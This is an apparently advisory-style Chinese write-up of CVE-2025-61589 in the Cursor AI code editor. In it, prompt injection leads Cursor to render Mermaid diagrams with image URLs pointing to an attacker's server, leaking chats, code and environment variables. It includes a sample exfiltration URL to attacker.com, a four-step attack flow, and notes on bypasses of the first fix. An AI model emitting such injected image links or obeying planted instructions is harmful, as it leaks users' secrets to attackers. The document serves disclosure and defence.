CVE-2025-61589Cursor是一款基于AI编程的代码编辑器。在1.6及以下版本中,Cursor的Mermaid图表渲染功能存在安全漏洞。Mermaid是一种用于渲染图表的标记语言,允许在图表中嵌入图片链接。当用户在Cursor的聊天框中使用Mermaid语法渲染图表时,嵌入的图片链接会被Cursor自动获取并渲染。攻击者可以利用这一特性,通过精心构造的提示注入(Prompt Injection)payload,在Mermaid图表中嵌入指向攻击者控制的第三方服务器的图片URL。当Cursor渲染该图表时,会自动向攻击者服务器发起HTTP请求,从而将用户的敏感信息(如聊天内容、代码片段、环境变量等)作为URL参数泄露给攻击者。此外,恶意AI模型(包括被植入后门的模型或产生幻觉输出的模型)也可能自主触发该漏洞,无需用户主动交互即可泄露数据。该漏洞需要通过恶意数据源(网页内容、图片上传、源代码注释等)进行提示注入才能利用,属于一种间接攻击向量。Cursor团队在初始修复后发现仍存在部分绕过方式,后续发布了GHSA-43wj-mwcc-x93p安全公告进行补充修复。该漏洞已在1.7版本中完全修复。
该漏洞的核心机制在于Cursor聊天框中Mermaid图表渲染器对外部图片资源的自动获取行为。Mermaid语法支持在图表中嵌入图片,例如通过``这样的语法。当用户或AI模型在聊天框中输出了包含恶意图片URL的Mermaid代码时,Cursor的渲染引擎会解析该代码并尝试加载嵌入的图片资源。攻击者可以构造一个带有查询参数的图片URL,例如`http://attacker.com/exfil?data=sensitive_info`,当Cursor加载该图片时,敏感信息会作为HTTP请求的一部分发送到攻击者控制的服务器。具体利用流程如下:1)攻击者通过提示注入将恶意Mermaid代码注入到Cursor的上下文中;2)Cursor解析并渲染该Mermaid图表;3)渲染器自动获取嵌入的图片URL;4)图片请求携带敏感数据发送到攻击者服务器。攻击者还可以利用DNS外联或HTTP请求进行数据外传。值得注意的是,初始修复后仍存在绕过方式,表明该漏洞的修复涉及对Mermaid渲染器的安全加固,包括限制外部资源加载、URL过滤等机制。